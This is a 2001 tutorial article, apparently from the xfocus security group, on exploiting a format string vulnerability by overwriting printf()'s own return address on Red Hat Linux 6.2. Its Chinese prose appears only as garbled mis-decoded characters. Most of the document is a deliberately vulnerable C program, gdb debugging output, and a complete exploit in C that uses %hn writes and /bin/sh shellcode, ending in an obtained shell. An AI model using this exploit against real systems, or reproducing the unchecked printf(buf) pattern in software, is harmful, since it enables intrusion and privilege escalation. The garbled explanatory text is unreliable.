ÀûÓøñʽ»¯´®¸²¸Ç*printf()ϵÁк¯Êý±¾ÉíµÄ·µ»ØµØÖ· ×÷Õߣºalert7 Ö÷Ò³: http://www.netguard.com.cn http://www.xfocus.org ʱ¼ä: 2001-10-26 ²âÊÔ»·¾³:linux redhat 6.2 kernel 2.2.14 ¡ï ǰÑÔ ÔÚscutдµÄ<>ÖÐÁгöÁËÁùÖÖ±È½Ï Í¨Óõķ½·¨À´»ñµÃ¿ØÖÆÈ¨£º 1. ¸²¸ÇGOT 2. ÀûÓÃDTORS 3. ÀûÓà C library hooks 4. ÀûÓà atexit ½á¹¹(¾²Ì¬±àÒë°æ±¾²ÅÐÐ) 5. ¸²¸Çº¯ÊýÖ¸Õë 6. ¸²¸Çjmpbuf's ÔÚÕâÀ²»ÏëÌÖÂÛÉÏÃæÕâЩ¶«Î÷£¬Çë×ÔÐвο¼Ïà¹Ø×ÊÁÏ µ«ÊÇÓÐЩʱºò£¬ÄãÖ»Äܸ²¸Ç0xbfff0000-0xbfffffffµÄµØÖ·¿Õ¼ä£¬ÒòΪÊÇformat string ±»³ÌÐò×öÁËÏÞÖÆ£¬¶ø³ÌÐòÓÖµ÷ÓÃÁËexit(0)£¬(Ò²ÐíÄãûÓÐÅöµ½¹ýÕâÑùÀàËÆµÄ©¶´³ÌÐò£¬µ«ÎÒ Åöµ½ÁË£¬¶øÇÒ±ÈÕâ¸öÒªÇ󻹸ü¿Á¿Ì:( ) ËùÒÔÀûÓø²¸ÇGOT¡¢ÀûÓÃDTORS¡¢ÀûÓÃC library hooks ÕâЩ¼¼Êõ¶¼Ðв»Í¨ÁË£¬ÒòΪÕâЩµØÖ·ÒÔ0x08´òÍ·(C library hooksÊÇ0x04´òÍ·)¡£¸²¸Çmain ·µ»ØµØÖ·Ò²²»ÐС£ÄÇ×ܸø²¸Çµ½µãʲô¶«Î÷ʹÎÒÃǵÄshellcodeµÃµ½¿ØÖÆÈ¨°É¡£ ¡ï ¸²¸Ç¸ñʽ»¯º¯Êý×Ô¼ºµÄ·µ»ØµØÖ· Ò»°ãµÄbuffer overflowµÄÇé¿öÏ£¬ÊDz»¿ÉÄܸ²¸Çµ½Ïó*printf()ÕâÖÖglibcº¯ÊýµÄ·µ»ØµØÖ·µÄ£¬ µ«ÊÇformat string¾Í¸øÁËÎÒÃÇ»ú»á£¬¶øÇÒ¸öÈËÈÏΪ¾«È·¶È»á¸ü¸ß¡£ ±ÈÈç˵printf(buf),¾ÍÀûÓøñʽ»¯´®µÄbufÀ´¸²¸Çprintfº¯ÊýµÄ·µ»ØµØÖ·¡£ ¡ï ´æÔÚ¸ñʽ»¯×Ö·û´®ÎÊÌâµÄ³ÌÐò [alert7@redhat62 alert7]# cat vul.c #include int main(int argc,char **argv) { char buf[10000]; bzero(buf,10000); if (argc==2) { strncpy(buf,argv[1],9999); printf(buf); } } [alert7@redhat62 alert7]# gcc -o vul vul.c -g ¡ï ¾«È·¶¨Î»¼¸¸öÊý¾Ý Ò»²é¿´À¬»øÊý¾Ý¸öÊý£¨ÒÔ4×Ö½ÚΪµ¥Î»£© [alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%p aaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil) ÎÒÃÇ¿´µ½Ã»ÓÐÀ¬»øÊý¾Ý X=0;Èç¹û²»Ã÷°×Ôõô»ØÊ£¬Çë²éÔÄ <> ¶þ²é¿´format string µØÖ· [alert7@redhat62 alert7]# gdb vul -q (gdb) disass main Dump of assembler code for function main: 0x8048438
: push %ebp 0x8048439 : mov %esp,%ebp 0x804843b : sub $0x2710,%esp 0x8048441 : push $0x2710 0x8048446 : lea 0xffffd8f0(%ebp),%eax 0x804844c : push %eax 0x804844d : call 0x8048364 0x8048452 : add $0x8,%esp 0x8048455 : cmpl $0x2,0x8(%ebp) 0x8048459 : jne 0x8048487 0x804845b : push $0x270f 0x8048460 : mov 0xc(%ebp),%eax 0x8048463 : add $0x4,%eax 0x8048466 : mov (%eax),%edx 0x8048468 : push %edx 0x8048469 : lea 0xffffd8f0(%ebp),%eax 0x804846f : push %eax 0x8048470 : call 0x8048374 0x8048475 : add $0xc,%esp 0x8048478 : lea 0xffffd8f0(%ebp),%eax 0x804847e : push %eax 0x804847f : call 0x8048354 0x8048484 : add $0x4,%esp 0x8048487 : leave 0x8048488 : ret End of assembler dump. (gdb) b * 0x804847f Breakpoint 1 at 0x804847f: file vul.c, line 8. (gdb) r aaaa Starting program: /home/alert7/overflow/sploit/vul aaaa Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8 8 printf(buf); (gdb) p &buf $1 = (char (*)[10000]) 0xbfffd468 ~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr (gdb) i reg $eax $esp $ebp eax 0xbfffd468 -1073752984 esp 0xbfffd464 -1073752988 ebp 0xbffffb78 -1073742984 (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0xbffffcbf 0xbfffd468 0x61616161 0x00000000 (gdb) si 0x8048354 in printf () at printf.c:26 26 printf.c: No such file or directory. (gdb) x/8x 0xbfffd450 0xbfffd450: 0xbfffd468 0xbffffb78 0x08048475 0xbfffd468 0xbfffd460: 0x08048484 0xbfffd468 0x61616161 0x00000000 ~~~~~~~~~~~~~~~~~^¾ÍÕâ¸öµØÖ·£¬ÒѾ­±ä³ÉÁË0x08048484£¬¾ÍÊǸÃprintfº¯ÊýµÄ·µ»ØµØÖ·£¬ ËùÒÔÎÒÃÇÒ²ÕÒµ½ÁËprintfº¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·£º0xbfffd460 Æäʵ0xbfffd464µØÖ·µÄÄÚÈݾÍÊÇpush %eaxÏÂÈ¥µÄ¶«Î÷ 0xbfffd460Ϊ¸ÃprintfÉÏÏÂÎĵÄÕ»Ö¡µÄEIP´æ·ÅµØÖ· Èý ¼ÆËãprintfº¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ· ÏÖÔÚÀ´Óù«Ê½±í´ïÒ»ÏÂprintfº¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·£º(format string addr) -(X*4)-8 format string addrÊÇ¿ÉÒÔ±©Á¦²Â²âµÄ¡£X¸üÊÇ¿ÉÒÔ¼òµ¥µÄµÃµ½£¬ËùÒÔÕâ¸öµØÖ·ÊǺܾ«È·µÄ¡£ µ±È»²»Í¬µÄϵͳ²»Í¬µÄ¸ñʽ»¯´®µÈµÈ¶¼»áµ¼ÖÂ*printfϵÁк¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·²»Ò»Ñù£¬ÐèÒª ×ÔÐÐÑо¿ºÍ¾ÀÕý¹«Ê½£¬ÕâÀïÖ»ÊǸö¼òµ¥µÄÑÝʾ£¬ÒâÔÚÅ×שÒýÓñ¡£ ¡ï ¿´¿´ÎÒÃǵÄÀûÓóÌÐò [alert7@redhat62 alert7]# cat exp.c /*e*/ #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_ALIGNMENT 0 #define DEFAULT_RETLOC 0xbfffd468-0*4-8 //F-X*4-8 //FΪ¸ñʽ»¯×Ö·û´®µØÖ· //XΪÀ¬»øµÄ¸öÊý£¬X*4Ò²¾ÍÊÇ //´Óespµ½FµÄ³¤¶È #define NOP 0x90 char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *ptr; long shell_addr,retloc=DEFAULT_RETLOC; int i,SH1,SH2; char buf[512]; char buf1[5000]; printf("Using RET location address: 0x%x\n", retloc); shell_addr = retloc+80; printf("Using Shellcode address: 0x%x\n", shell_addr); SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff SH2 = (shell_addr >> 0) & 0xffff;//SH2=0xd3a8 ptr = buf; if ((SH1)<(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8 ) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc) & 0xff; (*ptr++) = ((retloc) >> 8 ) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 )); /*ÍÆ¼ö¹¹Ôì¸ñʽ»¯´®µÄʱºòʹÓÃ%hn*/ } if ((SH1 )>(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc) & 0xff; (*ptr++) = ((retloc) >> 8 ) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) = (retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8 ) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 )); } if ((SH1 )==(SH2)) { printf("²»ÄÜÓÃÒ»¸öprintfʵÏÖÕâÖÖÇé¿ö\n"); } sprintf(buf1,"%s%s",buf,shellcode); execle("./vul","vul",buf1, NULL,NULL); } [alert7@redhat62 alert7]# gcc -o exp exp.c [alert7@redhat62 alert7]# ./exp ......£¨Ê¡ÂÔÁËһЩprintf³öÀ´µÄÂÒÐÅÏ¢£© Bë^1ÀFF ° óV Í1ÛØ@ÍèÜÿÿÿ/bin/sh[alert7@redhat62 alert7]# Ôõô»áûÓгɹ¦ÄØ£¬ÎÒÃÇÀ´¿´¿´Ôõô»ØÊ£¬ÔÚvul.cµÄprintf(buf)֮ǰ¼Ó¸ösleep(30); ÏÈÔÚÒ»¸öttyÉÏÔËÐÐ./exp,ÔÚÁíÍâÒ»¸öttyÉÏÈçϲÙ×÷£º [alert7@redhat62 /alert7]# ps -aux|grep vul alert7 892 0.3 0.3 1084 296 pts/0 S 10:41 0:00 vul BBBBbÔÿ¿BBBB` alert7 895 0.0 0.5 1360 508 pts/3 S 10:42 0:00 grep vul [alert7@redhat62 alert7]# gdb vul -q (gdb) attach 892 Attaching to program: /home/alert7/vul, Pid 892 Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. 0x400a9c61 in __libc_nanosleep () from /lib/libc.so.6 (gdb) b printf Breakpoint 1 at 0x4006605c: file printf.c, line 30. (gdb) c Continuing. Breakpoint 1, printf ( format=0xbfffd718 "BBBBbÔÿ¿BBBB`Ôÿ¿%49135c%hn%5297c%hn", '\220' , "ë\037^\211v\b1À\210F\a\211F\f°\013\211ó\215N\b\215V\fÍ\2001Û\211Ø@Í\20 0èÜÿÿ"...) at printf.c:30 30 printf.c: No such file or directory. ÎÒÃÇ¿ÉÒÔ¿´µ½£¬ÓÃexecle³öÀ´µÄformat stringµØÖ·¾Í²»ÊÇÔ­À´µÄ0xbfffd468ÁË£¬¶øÊÇÏÖÔÚµÄ format=0xbfffd718ÁË£¬ËùÒÔÎÒÃǵÄexploit³ÌÐòÓ¦¸ÃÐÞ¸ÄÕâ¸öµØÖ·¡£ÖØÐ±àÒëÖ´ÐС£ [alert7@redhat62 alert7]# ./exp .....£¨Ê¡ÂÔÁËһЩprintf³öÀ´µÄÂÒÐÅÏ¢£© Bë^1ÀFF óV Í1ÛØ@Íbash# bash# £º£©OK£¬³É¹¦ÁË£¡£¡£¡ ¡ï С½á ÀûÓøñʽ»¯´®¸²¸Ç*printf()ϵÁк¯Êý±¾ÉíµÄ·µ»ØµØÖ·Ó¦¸ÃÊǸöºÜ²»´íµÄ·½·¨£¬¶øÇÒÔÚ¸ñʽ´® ÎÊÌâÉÏÏԵĺÜÓÐÓÅÊÆ£¬¾«È·¶È¸ü¸ß¡£ ×îºó£¬»¶Ó­À´emailÌÖÂÛ¡£ ²Î¿¼×ÊÁÏ£º <> by scut /team teso